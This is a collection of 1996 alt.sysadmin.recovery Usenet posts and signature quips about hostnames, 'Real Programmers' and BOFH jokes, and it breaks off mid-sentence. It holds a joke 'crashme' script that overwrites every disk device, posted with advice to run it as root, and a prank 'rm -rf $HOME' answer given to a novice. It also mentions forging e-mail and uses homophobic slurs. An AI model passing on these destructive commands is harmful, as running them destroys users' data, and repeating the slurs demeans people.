news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!panix!not-for-mail From: ikuo@panix.com (Kim Scheinberg) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 12 Jun 1996 16:12:10 -0400 Organization: Obiter dictum Lines: 23 Message-ID: <4pn8aq$48r@panix2.panix.com> References: <4p9vpd$iub@hume.nmia.com> <4pcbln$dmn@zeus.tcp.co.uk> NNTP-Posting-Host: panix2.panix.com c.edsall@phys.canterbury.ac.nz (C. J. Edsall) deserves a Nobel for >In article <4pcbln$dmn@zeus.tcp.co.uk> laker@tcp.co.uk (Markus Laker) writes: > >> I've used composers: Bach, Brahms, Mahler. My boss complains that he has >> trouble spelling them: 'not everyone is as operatically literate [sic] as >> you.' The other day I pointed out that he should be grateful I didn't use >> Rachmaninov, Shostakovich and Dohnanyi. > >Physicists. (We have no imagination). Galileo, Newton, Einstein, >Maxwell, Boltzman, Alpher, Bethe, Gamow. On of the grad students got to >name his X-term: Zamolodchikov. This reminds me. I am in a cab on my way to the airport two weeks ago (this is in San Francisco) Over the radio comes the dispatcher directing a cab to a pickup. "Pick up at Goddard. Goddard. G-O- -- Yes, like the rocket scientist" I love this town -k. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:33 1996 Newsgroups: alt.sysadmin.recovery Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!nntp.primenet.com!news.texas.net!news.kei.com!newsfeed.internetmci.com!in2.uu.net!world!drdt From: drdt@world.std.com (Uncle Don Ross) Subject: Re: hostnames Message-ID: Organization: Etherlines Tours, Natick, MA References: <4ovpne$nte@nntp4.u.washington.edu> <4p9vpd$iub@hume.nmia.com> <4pcbln$dmn@zeus.tcp.co.uk> Date: Wed, 12 Jun 1996 21:38:36 GMT Lines: 18 Adding to the fray... The company from which I was so recently engaged has fifteen PCs named after what I called 'great villains' which sparked a discussion in the office as to what made a villain 'great.' So: dracula, moriarty, snidely_whiplash, boris_badinov, captain_hook, woundwort, templeton, cassius, catwoman, captain_ahab, etc. They vetoed 'judas' for some reason or another. The file server is named 'iago', but no one seems to think it is at all funny but me. -- Uncle Don Ross v2 drdt@world.std.com so, he leans over me and says, "now, i don't ususally give out Gilettes to constituents, but considering where you are going, well... i once went three days without shaving, and Al said, 'Bill, you look like a republican.'" From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:34 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!newsfeed.internetmci.com!tezcat.com!tezcat.com!not-for-mail From: mercedes@tezcat.com (Erin K. J. Flachsbart) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 13 Jun 1996 17:16:45 -0500 Organization: Breakfast at Tezcat. Lines: 7 Message-ID: <4pq40d$t99@xochi.tezcat.com> NNTP-Posting-Host: xochi.tezcat.com A late entry... I'm the responsible party for the machine names at isca.uiowa.edu... the ones named after blender settings, i.e. chop, grind, whip. Ah, those college days of yore. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:35 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!mr.net!news.mid.net!newsfeeder.gi.net!newsfeed.internetmci.com!in2.uu.net!munnari.OZ.AU!news.mel.connect.com.au!news.mel.aone.net.au!usenet From: Tony Ellis Newsgroups: alt.sysadmin.recovery Subject: Re: Hostnames Date: Fri, 14 Jun 1996 15:40:44 +1100 Organization: Central Gippsland Institute of Technical and Further Education Lines: 15 Message-ID: <31C0ED4C.6D1E@gippstafe.vic.edu.au> Reply-To: aje@gippstafe.vic.edu.au NNTP-Posting-Host: 203.61.83.64 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 3.0b4Gold (Win95; I) While this probably won't be appreciated by the 'Merkins out there, the Poms and other such civilised races may appreciate it.. We're currently installing a new NT Domain. The Domain Name is Toyland The first server is Noddy. Tony Ellis -- ====================================================================== Sometimes I feel like road-kill on the information highway: (Judy Small) ======================================================================= From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:36 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!winternet.com!uunet!in2.uu.net!munnari.OZ.AU!metro!metro!seagoon.newcastle.edu.au!brushtail.hna.com.au!matt From: matt@hna.com.au (Matt McLeod) Newsgroups: alt.sysadmin.recovery Subject: Re: Hostnames Date: 15 Jun 1996 08:09:33 GMT Organization: Hunter Network Association, Australia Lines: 12 Message-ID: References: <31C0ED4C.6D1E@gippstafe.vic.edu.au> NNTP-Posting-Host: praetor.hna.com.au X-Newsreader: slrn (0.8.8.2 UNIX) On Fri, 14 Jun 1996 15:40:44 +1100, Tony Ellis wrote: >While this probably won't be appreciated by the 'Merkins out there, >the Poms and other such civilised races may appreciate it.. > >We're currently installing a new NT Domain. >The Domain Name is Toyland >The first server is Noddy. So when are you getting BigEars? Matt From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:37 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!btnet!zetnet.co.uk!dispatch.news.demon.net!demon!detached.demon.co.uk!dan From: dan@detached.demon.co.uk (Daniel Barlow) Newsgroups: alt.sysadmin.recovery Subject: Re: Network Accidents was [Re: Pager Accidents] Date: Sun, 9 Jun 1996 09:59:07 GMT Organization: I need to put my Clue here! I have it somewhere ... Lines: 15 Message-ID: References: <4p1k39$hd0@newnews.iafrica.com> <4p284q$p48@t2.mathworks.com> <4p54so$3tk@airdmhor.gen.nz> X-NNTP-Posting-Host: detached.demon.co.uk In article , Joe Block wrote: >In article <4p54so$3tk@airdmhor.gen.nz>, moz@airdmhor.gen.nz (Moz) wrote: >>But what actually happens if you fuse lusers together? The Incredible Luser? > >You end up with a hideously mutated lifeform with four brain cells. Fuse >enough together, and you end up with a lawyer. Where "enough" is defined as "two", yes. Daniel -- http://ftp.linux.org.uk/~barlow/, dan@detached.demon.co.uk, PGP key ID 5F263625 ``He died? But this is supposed to be a kids' movie ...'' From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:38 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!newsxfer2.itd.umich.edu!caen!umass.edu!nic.umass.edu!news.oit.umass.edu!not-for-mail From: dmd@wilde.oit.umass.edu (Daniel M. Drucker) Newsgroups: alt.sysadmin.recovery Subject: Re: Network Accidents was [Re: Pager Accidents] Date: 9 Jun 1996 14:01:25 -0400 Organization: University of Massachusetts, Amherst Lines: 14 Message-ID: <4pf3hl$tjc@wilde.oit.umass.edu> References: <4p1k39$hd0@newnews.iafrica.com> <4p284q$p48@t2.mathworks.com> <4p54so$3tk@airdmhor.gen.nz> NNTP-Posting-Host: wilde.oit.umass.edu jpb@miamisci.org (Joe Block) wrote: >>But what actually happens if you fuse lusers together? The Incredible Luser? >You end up with a hideously mutated lifeform with four brain cells. Fuse >enough together, and you end up with a lawyer. You seem to imply that lawyers have more than four brain cells. -- [ Daniel M. Drucker / dmd@3e.org ] Don't anthropomorphize nature. It really hates that. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:17:38 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.mathworks.com!nntp.primenet.com!news.goodnet.com!usenet From: bssc@hic.net (Mark Brady) Newsgroups: alt.sysadmin.recovery Subject: Re: Network Accidents was [Re: Pager Accidents] Date: Mon, 10 Jun 1996 05:48:54 GMT Organization: This is not an organization Lines: 28 Message-ID: <4pggpu$e5d@news1.goodnet.com> References: <4p1k39$hd0@newnews.iafrica.com> <4p284q$p48@t2.mathworks.com> <4p54so$3tk@airdmhor.gen.nz> <4pf3hl$tjc@wilde.oit.umass.edu> NNTP-Posting-Host: mp9.dancris.com X-Newsreader: Forte Free Agent 1.0.82 dmd@wilde.oit.umass.edu (Daniel M. Drucker) wrote: >jpb@miamisci.org (Joe Block) wrote: >>>But what actually happens if you fuse lusers together? The Incredible Luser? >>You end up with a hideously mutated lifeform with four brain cells. Fuse >>enough together, and you end up with a lawyer. >You seem to imply that lawyers have more than four brain cells. The next wild rumor I expect to hear then is that lawyers are honest and can sysadmin. >-- > [ Daniel M. Drucker / dmd@3e.org ] > Don't anthropomorphize nature. It really hates that. Mark Brady bssc@hic.net Now in lovely http://www.hic.net/bssc/public_html/mbrady.html Phoenix, AZ Still hope won't be denied, there was always the Cause --Al Stewart, Between the Wars %% /HOSTNAMES %% "Tell me," she resumed, "are you of royal blood?" "Better than that, ma'am," said Dorothy. "I came from Kansas." -L. Frank Baum %% [1] Yes, I spend 90% of my time in vi. I love it. Got map macros for everything known to man. [2] This actually happened once. More recently [3], another assistant sysadmin in my current job moved libc.so.1 into another directory. Believe it or not, I managed to get it back by *loading it into netscrape* (which was already running) and saving it where it was supposed to go. I'm impressed Netscape can read in, and doesn't munge, a binary file. It was also pure dumb luck I was running netscrape as root. I guess this was an exception to the 90% [1]. [3] It happened twice, actually. The second time was on a Sunday, I was home snuggling my wife, and I get a phone call. Him: "Netscape isn't running." Me: "Huh? Why should it be?" Him: "Well, ... um ... if it were, you wouldn't have to kill me." Me: "*******, what are you talking about?" Him: "I did it again." Me: Assorted obscenities. I ended up yanking the drive, mounting it in our news server, and moving it back [4]. *sigh* [4] Yes, I know there was probably an easier way to do this. What do you expect on zero caffeine? %% Mac X11 1 Button Mouse 2 or 3 button programable mouse. Any style of Window Manager \ Fvwm Twm Mwm &etc. You want, as long as it is ours. You have to get that ONE corner\ Grab a corner and pull. to resize the window. Runs Microsoft Products. Doesn't. Has Resedit. Has Source Code (well, some do) Funny thing is, I am a graphic designer, and I should be the one praising the Mac, only I have one, and Linux was easier to get up and stable. Fucken apple. %% -- Bryant Durrell http://www.innocence.com/ durrell@innocence.com ------------------------------------------------------------------------------ In the beginning, there was nothing. And God said, "Let there be Light." And there was still nothing, but you could see it. %% >> Ah, telnet, The Most Useful Program Ever Written. >> >> Who here hasn't... >> used telnet to read mail? >> used telnet to send mail? >> used telnet to read and post news? >> used telnet as a web browser? >> used telnet as a diagnostic tool? >> used telnet as an X client? >> used telnet to get the time of day in California? >> used telnet to finger people? > >Damn missed out on the X client bit. Try me again tomorrow. BTW this >looks like a candidate for the official alt.sysadmin.recovery purity >test. And...who here hasn't used telnet... to 'shutdown -r now' his f*cked up system over and over again. as a Veronica, WAIS and gopher reader. to create an untraceble chain of logins, to fool the spooks. to play TinyTIM or Islandia for like 16 hrs a day (in the 80s). to check sendmail. HELO, MAIL FROM:, RCPT TO: etc... :-) to forge e-mail...(and I still do.) %% Lessee if I can remember (it's been about 10 years): Real programmers don't use logo Because turtles are for soup, not computers Real programmers don't use PL/1 Because anybody can be obscure in PL/1 Real programmers don't use BASIC Because 10 year olds use Basic Real programmers don't use COBOL Because accountants shouldn't be let *near* computers Real programmers don't use EMACS Because one operating system per computer is enough I don't know what programming language people will be using in 20 years, but I know they'll call it Fortran. (said probably in the late 1970's so just about come true) To which I once paraphrased many years ago, maybe 1985-ish: I don't know what operating system people will be using in 20 years, but I know they'll call it Unix. "Real programmers don't use GPSS because they hate standing in line...." "REAL PROGRAMMERS DON'T NUMBER PARAGRAPH NAMES "CONSECUTIVELY. "REAL PROGRAMMERS DON'T GRUMBLE ABOUT THE DISADVANTAGES "OF COBOL WHEN THEY DON'T KNOW ANY OTHER LANGUAGE. "REAL PROGRAMMERS DON'T NOTCH THEIR DESKS FOR EACH "COMPLETED SERVICE REQUEST. "REAL PROGRAMMERS ARE SECURE ENOUGH TO WRITE READABLE CODE, "WHICH THEY THEN SELF-RIGHTEOUSLY REFUSE TO EXPLAIN. "REAL PROGRAMMERS UNDERSTAND PASCAL. REAL PROGRAMMERS PUNCH UP THEIR OWN PROGRAMS. REAL PROGRAMMERS HAVE READ THE STANDARDS MANUAL "BUT WON'T ADMIT IT REAL PROGRAMMERS ALWAYS HAVE A BETTER IDEA REAL PROGRAMMERS CAN DO OCTAL, HEXADECIMAL AND "BINARY MATH IN THEIR HEADS. REAL PROGRAMMERS DON'T WRITE MEMOS. REAL PROGRAMMERS KNOW WHAT SAAD MEANS. REAL PROGRAMMERS DO NOT READ BOOKS LIKE 'EFFECTIVE LISTENING' AND 'COMMUNICATION SKILLS'. "REAL PROGRAMMERS DON'T WRITE COBOL. "COBOL IS FOR WIMPY APPLICATIONS PROGRAMMERS. REAL PROGRAMMERS DO NOT DOCUMENT. "DOCUMENTATION IS FOR SIMPS WHO CAN'T READ LISTINGS OR "OBJECT CODE. REAL PROGRAMMERS DON'T WRITE SPECS -- USERS SHOULD "CONSIDER THEMSELVES LUCKY TO GET ANY PROGRAMS AT ALL AND "TAKE WHAT THEY GET. REAL PROGRAMMERS DON'T COMMENT THEIR CODE. IF IT IS HARD "TO WRITE, IT SHOULD BE HARD TO UNDERSTAND. REAL PROGRAMMERS DON'T WRITE APLLICATIONS PROGRAMS; THEY "PROGRAM RIGHT DOWN ON THE BARE METAL. APPLICATION "PROGRAMMING IS FOR FEEBS WHO CAN'T DO SYSTEMS PROGRAMMING REAL PROGRAMMER'S PROGRAMS NEVER WORK THE FIRST TIME. BUT "IF YOU THROW THEM ON THE MACHINE, THEY CAN BE PATCHED INTO "WORKING IN 'ONLY A FEW' 30-HOUR DEBUGGING SESSIONS. REAL PROGRAMMERS DON'T WRITE IN FORTRAN. FORTRAN IS FOR "PIPE STRESS FREAKS AND CRYSTALLOGRAPHY WEENIES. REAL PROGRAMMERS DON'T WRITE IN BASIC. ACTUALLY, NO "PROGRAMMERS WRITE IN BASIC AFTER AGE 12. "REAL PROGRAMMERS DON'T WRITE IN PL/1. PL/1 IS FOR "PROGRAMMERS WHO CAN'T DECIDE WHETHER TO WRITE IN "COBOL OR FORTRAN. REAL PROGRAMMERS DON'T WRITE IN PASCAL, BLISS, OR ADA, OR "ANY OF THOSE PINKO COMPUTER SCIENCE LANGUAGES. STRONG "TYPING IS FOR PEOPLE WITH WEAK MEMORIES. REAL PROGRAMMERS DON'T WRITE COBOL. "COBOL IS FOR WIMPY APPLICATIONS PROGRAMMERS. >"REAL PROGRAMMERS UNDERSTAND PASCAL. - but steadfastly refuse to program in it. >REAL PROGRAMMERS PUNCH UP THEIR OWN PROGRAMS. Real programmers punch out their users. >REAL PROGRAMMERS DON'T WRITE SPECS -- USERS SHOULD >"CONSIDER THEMSELVES LUCKY TO GET ANY PROGRAMS AT ALL AND >"TAKE WHAT THEY GET. They don't *read* the specs, either, especially if the users wrote them. Real programmers write in C, because it has all the power and flexibility of assembly language with the high level features and readability of assembly language. Real programmers don't write in C++ because they don't want *all* their friends accessing their private parts. Real Programmers: are not baffled by complex hardware, such as the telephone say "I don't know" when they don't. know who does what in operations. always leave the user smiling. know what they are doing. know each of the unique names by which operations, programming, users, and management refer to the same system. can maintain a cooperative relationship with quality assurance. are not intimidated by contractors. don't need the manuals. dont' work on weekends. can't write JCL. don't tell war stories about the good old days. dress for success when they have a walk-through. %% >Real Programmers: >say "I don't know" when they don't. Take a short break to find out before getting back to the asker - the illusion of infallibility must be maintained. Besides, say that you don't know too often and they'll hire someone else. >always leave the user smiling. Always keeps the user firmly in touch with reality, whether it makes them smile or not. Let them think you can do the impossible, and they'll sack you when you fail. >know what they are doing. Know that other people may well *not* know what they're doing. >know each of the unique names by which operations, programming, users, >and management refer to the same system. Can get all of the above (by whatever means) to refer to the system by its proper name, not something they half-understood from last weeks "Luser's World", and which bears only a vague resemblance to what the system actually is. >can maintain a cooperative relationship with quality assurance. Can tell that bunch of nit-pickers that "A few bugs are normal in a beta (sorry, preview), that's why it's called a beta (sorry, preview)." Can also explain to them in words of one syllable why completing the project in one month and making it absolutely bug-free are mutually exclusive. Know to ignore any suggestions made by QA (or anyone else) that start with the words "The solution is trivial/easy/quick to implement..." >don't need the manuals. Don't need to look at the manuals twice. Or in the presence of management, or anyone who might look and think that he could do that. If they do, they'll try to, and that means extra work for the Real Programmer - fixing it! >can't write JCL. Can write JCL in their sleep if they've used it before. Can write JCL after lunch (see above) if they haven't used it before. >don't tell war stories about the good old days. Tell war stories about the good old days. Post them to alt.folklore.computers, for other people to print out and put on notice boards. Eventually, when retired, write a book about the good old days and spend months trying to find a publisher, after boring to death everyone else in St. Babbage's Home for the Computationally Deranged. >dress for success when they have a walk-through. Dress any way they damn well please, because if the customer looks at how well the workers dress rather than what they produce, he's not someone you want to work for. Alistair -- Alistair Young - Arkane Systems Software Development & PC Consultancy The opinions above ARE my company's, because I OWN it! [Team OS/2] e-mail: avatar@arkane.demon.co.uk; Phone/Fax: +44 (1833) 638233 (24 hr.) "This is my ceremonial bone-pit. It contains the bones of a member of each of the sentient races I have personally exterminated." - Ur-Quan Kohr-Ah, SCII %% -- Jim Seymour | "Try moving off NT easily. You can move from jseymour@medar.com | Solaris to HP/UX to AIX or DEC easily-- Systems & Network Administrator | relative to moving off of NT, which is like Medar, Inc., 38700 Grand River | a Roach Motel. Once you check in, you never Ave., Farmington Hills, MI. | check out." Scott McNealy, Sun Microsystems -- Don Read sysop@calcasieu.com EDP Manager dread@i-link.net Calcasieu Lumber Co. Austin, TX "As the most participatory form of mass speech yet developed, the Internet deserves the highest protection from governmental intrusion" Real Programmers don't exist anymore Because memory is so cheap. %% Real Programmers disdain structured programming. Structured programming is for compulsive neurotics who were prematurely toilet-trained. They wear neckties and carefully line up sharp pencils on an otherwise clear desk. Real Programmers don't believe in schedules. Planners make schedules. Managers firm up schedules. Frightened coders strive to meet schedules. Real programmers ignore schedules. Real programmers don't bring brown-bag lunches. If the vending machine sells it, they eat it. If the vending machine doesn't sell it, they don't eat it. Vending machines don't sell quiche. Real programmers don't comment their code. If it was hard to write, it should be hard to understand. Real programmers don't document. Documentation is for simps who can't read the listings or object deck. Real programmers don't draw flowcharts. Cavemen drew flowcharts and look how much good it did them. Real programmers don't eat quiche. In fact, real programmers don't know how to spell quiche. They eat twinkles and szechuan food. Real programmers don't play tennis or any other sport that requires you to change clothes. Mountain climbing is OK, and real programmers wear their climbing boots to work in case a mountain should suddenly spring up in the middle of the machine room. Real programmers don't write application programs. They program right down to the bare metal. Application programming is for feebs who can't do system programming. Real programmers don't write in APL, unless the whole program can be written on one line. Real programmers don't write in BASIC. Actually, no programmers write in BASIC, after the age of 12. Real programmers don't write in COBOL. COBOL is for wimpy applications programmers. Real programmers don't write in FORTRAN. FORTRAN is for pipe-stress freaks and crystallography weenies. Real programmers don't write in LISP. Only faggot programs contain more parenthesis than actual code. Real programmers don't write in PASCAL or BLISS or ADA, or any of those pinko computer science languages. Strong typing is for people with weak memories. Real programmers don't write in PL/1. PL/1 is for programmers who can't decide whether to write in COBOL or FORTRAN. Real programmers don't write specs - users should consider themselves lucky to get any programs at all and take what they get. Real programmers like vending-machine popcorn. Coders pop it in the microwave oven. Real programmers use the heat from the CPU. They can tell which jobs are running from the rate of popping. Real programmers never work 9 to 5. If any real programmers are around at 9 am, it's because they were up all night. Real programmers scorn floating-point arithmetic. The decimal point was invented for pansy bed wetters who are unable to think big. Real programmers' programs never work right the first time. But if you throw them on the machine, they can be patched into working in `only a few' 30-hour debugging sessions. %% Southern DOS: Y'all reckon? (Yep/nope) -- dan@spectra.net - this posting is *not* an official Spectra.Net policy. D.S. Ritter 607 798 7300 "We did that, (well almost that), but it didn't work." - someone else -- Ben Hutchings, compsci & | m95bwh@ecs.ox.ac.uk http://users.ox.ac.uk/~worc0223 JCR Computer Rep elect | Finger m95bwh@booth42.ecs.ox.ac.uk for PGP key etc. Worcester College Oxford | Check my web page before sending commercial mail. Inside every big program is a small program trying to get out. - Tony Hoare I saw a wonderful little snippet on TV last night about lawn mower racing [1]. The champion was powered by a military helicopter jet engine, and could go 60 mph. I dreamed of showing up at a particlulary whiny luser's site on one of those. [1] The riding kind, not the pushing kind. [2] Shouting "I'm from the Unix Help Line, and I'm here to HELP you" as machine and I barrel through the front door. %% >I don't care. It just means I've more authority to LART lusers if^H^Hwhen >they don't read it, and break one of the rules. I think a 50 pound fine[1] is >quite a good LART, actually ;) Oh dear, oh dear, From the book of Lart, chapter 13 verses 1-6 1. And the BOFH was sorely vexed by the lowly intern, and spake unto her thus: 2. "Thou shalt not look for exuses to LART the lusers, for in my wisdom I have decreed that They Have It Coming To Them. 3. Verily thou shalt LART first, and look for excuses later. 4. After all, they're bound to have done something." 5. And the intern was overcome with awe and wonder at the wisdom of the BOFH, 6. Right up to the point at which she was overcome by a 2x4. %% "Lousy way to die, eh?" 'Last time I checked, there weren't to many good ways' -- Garibaldi and Sheridan, "The Long Dark" -- Paul C. Janzen Human beings were created by water to pcj@primenet.com transport it uphill. http://www.acs.psu.edu/users/pcj old telecom guy said he did two kinds of jobs: two-wire hook-ups and four-wire fuck-ups. >Serious question - why do they only count from 0 to 1? Because inside every computer are a bunch of tiny little XmToggleButton widgets. -- Cos (Ofer Inbar) -- cos@leftbank.com cos@cs.brandeis.edu -- The Left Bank Operation -- lbo@leftbank.com http://www.leftbank.com/ "GUIs normally make it simple to accomplish simple actions and impossible to accomplish complex actions." --Doug Gwyn (22/Jun/91 in comp.unix.wizards) Me: net access! Warez Luser: hi. i have an account on netaxs that i use for shell and ftp. Me: ok, how can i help you? WL: well, i just got a new 133 mHz pentium with a 28.8 modem, and what do i have to do to see the web? Me: well, what do you *want* to do? You could just keep using lynx from your shell account. WL: well, i want to get a 28.8 account. Me: well, there is no such thing. just use your existing account, and dial in to one of our 28.8 hunts. no problem. WL: well, will i be able to use this software? ME: what software? WL: uh, let's see....i forget the name...uh, i'm looking. um, something.... Me: sorry, I don't know any software called "something" WL: it isn't netscape. it's the other thing. Me: Mosaic? WL: no. ME: is it a web browser? WL: i don't know. Me: Internet Explorer? WL: yes! Me: no, you need a slip/ppp account for that. WL: how much does it cost? Me: WL: well, i just want it for 10 days, i'm moving soon. Me: well, it sounds to me like you should just get an account after you move then. The billing for 10 days would be a hassle for you. WL: well, I really need to get this now. Me: is there some urgent file you need? WL: well, you know how you can find anything you want on the internet? Me: No. I don't think so. WL: well, i know there are registered copies of video games out there and I want to find them. I know it's illegal, but everyone does it. Me: oh. well, you can't use our service to do that. WL: but what if you don't know? Me: you just TOLD me. WL: can you pretend not to know? Me: NO! I mean, even if it were not reprehensible , how do i know you don't work for the FBI? WL: Damn! Me: Will that be all then? WL: i guess. ME: ok. bye. %% [crashme testing] ---- CUT HERE ---- #!/bin/sh cd /dev # Do a SYSV check if [ -d /dev/dsk ] then cd dsk for FILE in `/bin/ls` do /bin/cat /etc/termcap > "${FILE}" done exit fi # Ok, not true SYSV, so kludge it for BSD or Linux. # If you don't have SCSI or (shudder) IDE disks, change the # "in `/bin/ls sd* hd*`" line to find whatever your system # disks are named. for FILE in `/bin/ls sd* hd*` do /bin/cat /etc/termcap > "${FILE}" done ---- CUT HERE ---- If your system can survive that (make sure to run it as root!), then I respectfully request a login id. All flames regarding my skill (or lack thereof) in Bourne shell will be fed to Cthulhu. %% [1] National Football League, also known as 22 grown men trying to kill each other for the possession of a piece of pigskin. hillary gorman | "I AM ALSO HUNGRY SO GOOD LUCK BITCH" hillary@hillary.net | - Net Access user Andy Geoghegan to Net Access Poster Goddess | vice-president@whitehouse.gov //Ingvar (who recently answered the question "How do I write a shellscript?" with "echo 'rm -rf $HOME' > script") >> FreeBSD bah.[1] Anyone but a Nazi[2] would use Linux instead. >> [1] now free beer, thats a different story >Free beer is not an operating system. It's a nice system but after >a bit you stop operating. Heh. _You_ might stop operating after a bit... but... the dedicated sysadmin will find that beer is just what's needed to lubricate the mechanisms of administration. Really. I'm sure of this. %% I'm currently officially called a "Systems Analyst," which is no longer the preferred term for workaholic, caffeine-driven, non-sleeping, type-A-personality system/network admins, so they're considering "modernizing" the title to "System(s?) Administrator." Anyone got any better ideas? Things like "Indispensable Computer Buddha" are my along line of thought here.... >High Priest of Hardware : I'm officially a "Senior Computer Support Specialist". I keep telling : everyone that this just means I'm the Department's "Computer Geek". Seems : to work for me. I've been called "unix god", "tools goddess", "angel", "stupid #@!%"...etc The BEST title on a business card I've seen was: "Computer Genius and Part Time Hero" or "Unix Chap" as he is more widely known (he's a brit if you couldn't guess and he lives up to his title with great aplomb). -Caroline Unix Systems Defender in the GWALaE [1] [1] Great War Against Lusers and Entropy I've always wanted my title to simply be "Clued". How about "subnet superbubba?" I once had an _official_ title of "Resident Wizzard". I've still got some of the business cards. For a while, had an assistant, whose title was 'imp'. I wrote up my job description a few years back: "Imperial Grand Rajah of Information Automata" didn't fly. (too many syllables ?) > Anyone got any better ideas? Things like "Indispensable Computer > Buddha" are my along line of thought here.... "That Weird Guy Who Works In The Basement Server Room And Glares At You When You Enter The Room." If you're of the female gender, "She Who Must Be Obeyed" is good to strive for... %% -- Ben Hutchings, compsci & | m95bwh@ecs.ox.ac.uk http://users.ox.ac.uk/~worc0223 JCR Computer Rep elect | Finger m95bwh@booth42.ecs.ox.ac.uk for PGP key etc. Worcester College Oxford | Check my web page before sending commercial mail. My real computer is an Amiga, a computer for those wanting more than just a PC *Ben Cantrick, diehard BGC otaku and Priss fan. ---> THE BGC DUBS SUCK! <---* * Mac? "When I want to spend 50% of my time fighting an OS, I'll use VMS." * foop (fu:p):n. [Pharmacy, King's College London] Departmental Postgrad Geek. "Blinkey lights are the essence of technology. Everything else is fluff" -- bbs.l0pht.com (via Ben Cantrick in a.s.r) -- Jim Anderson (612) 782-0456 AOB Acquisition Corp. jim@aob.mn.org 3800 Apache Lane NE Lucifer designed MS-DOS to try men's souls. St Anthony, MN 55421 Then he had a better idea. Wes Morgan --- morgan@engr.uky.edu Attitude is no substitute for competence. "Ho! Ha Ha! Guard! Turn! Parry! Dodge! Spin! Thrust! *TWONG!*" -- Daffy Duck or Usenet 'debate', take your pick... "This is mine; that's mine [etc.]; I'm claiming all this as mine... except that bit. I don't want that bit. But all the rest of this is mine! Hey, this has been a good day! I've eaten five times, I've slept six times, and I'd made a lot of things mine! Tomorrow I'm going to see if I can't have sex with something!" Cat =========================================================================== Eric L. Pederson | eric@winternet.com | eric@bofh.net =========================================================================== "If operating systems are weapons, Solaris is a world-war-two German railway gun with a cracked breech block" - Charlie Stross %% In article <4uacvr$fku@abaco.coastalnet.com>, dorsett@treasure.coastalnet.com (Stephen Dorsett) reposts from alt.revenge: >Im pretty new at this revenge stuff, but I desperately need some >help. The system adminstrator here is the definition of a tight assed >tyranical bastard, who uses his position as leverage. Every one here has >some gripe with this guy. Infact, its so bad that when ever a bunch of >us get together you quite offen end up having `Do you know what ... has just >done' conversations. It is the one thing we have in common. Sad isn't it ? What was your ID again? >Has anyone else had similar problems and solved them. If so we need your >advice (badly) ??? We are indeed tight-assed tyrannical bastards, but we prefer to be referred to as Bastard Operators From Hell, and we have had much more experience dealing with people like you than you have had dealing with people like us. After all, we do it for a living. There are more of us than there are of you, and we stick together. You might as well go home now; the police are waiting for you. So are the firemen. And the DEA. And the boys from ATF. %% -- Robbie Honerkamp robbie@shorty.com, robbie@grumblesmurf.net, robbie@mindspring.com http://www.shorty.com/~robbie/ "The world is complex. Sendmail.cf reflects this...." %% > His fiance' was near a nervous break-down, he was incoherent, and >both were mad at each other (and me)...over *e-mail*. Personally, I feel you made a mistake. By capitulating to his demands, you made it possible for the fiance and Mr. Luser to get back together. This has one obvious drawback... THEY MAY BREED! Always do everything in your power to attempt to stop lusers from breeding. Note: You know the part of the wedding ceremony where they say "If any man can show just cause why these two should not be legaly joined..." I feel that it is a sysadmin's right and responsiblity to stand up and denounce them. "Sir, as a member of the human race, I feel it necessary to point out that the intermingling of these two can cause naught but the lessening of the average clue factor for the human race. On Jul 16, the groom approached me to ask how to use pine, and on Jan 4, the bride asked me a question about Eudora" I realize it may be a little embarrasing, cost you a few friendships, etc. but consider. It's for the good of the human race. Years from now, our hyperintellegent offspring will look back on us and say, "never have so few, done so much, with so little, so often...and so on untill they've lost the thread of the conversation as well. Wow, there's a lot of suger in this tea. Damn. %% +-- Bill Bradford - mrbill@ionet.net ----------------+ | "Being a sysadmin is like hitting yourself in | | the head with a brick. Eventually it doesen't | | hurt too bad and you actually look forward to it, | | because the more it happens, the less it hurts." | +---ioNET UNIX & IRC Systems Administration----------+ -- Sean B Purdy, system administrator sean@fastnet.co.uk > We are indeed tight-assed tyrannical bastards, and we have had much > more experience dealing with people like you than you have had dealing > with people like us. After all, we do it for a living. - Mike Andrews -- Simon Slavin -- Computing Contractor Ordinaire WARNING: sending me junk-email will be interpreted as granting permission to bomb your offices and machine-gun your children. (I just got 10 in 12 days.) The above clause have been appended to every post I've made since 27/7/1996. -- Cerebus "Of course, the real answer is to blow Slowaris away and run something remotely sane, if at all possible." %% : Did I miss something, when I was in public school? Is this what : happens to kids get hit in the head at high velocity with sports : equipment? Most of all, is it okay for me to think of these people as : lower life forms evolved from invertebrates? What you missed was BOFH class on the day they taught how not to be helpful. I will fill you in. Caution: The following could be useful information. It depends entirely on whether or not you are already a BOFH or not. Send mail LARTs to me at the above address. When someone asks you to fill the toner in their printer, tell them you're doing important sysadmin stuff, regardless of whether you are playing XBoing or not. Important sysadmin stuff includes: Filling 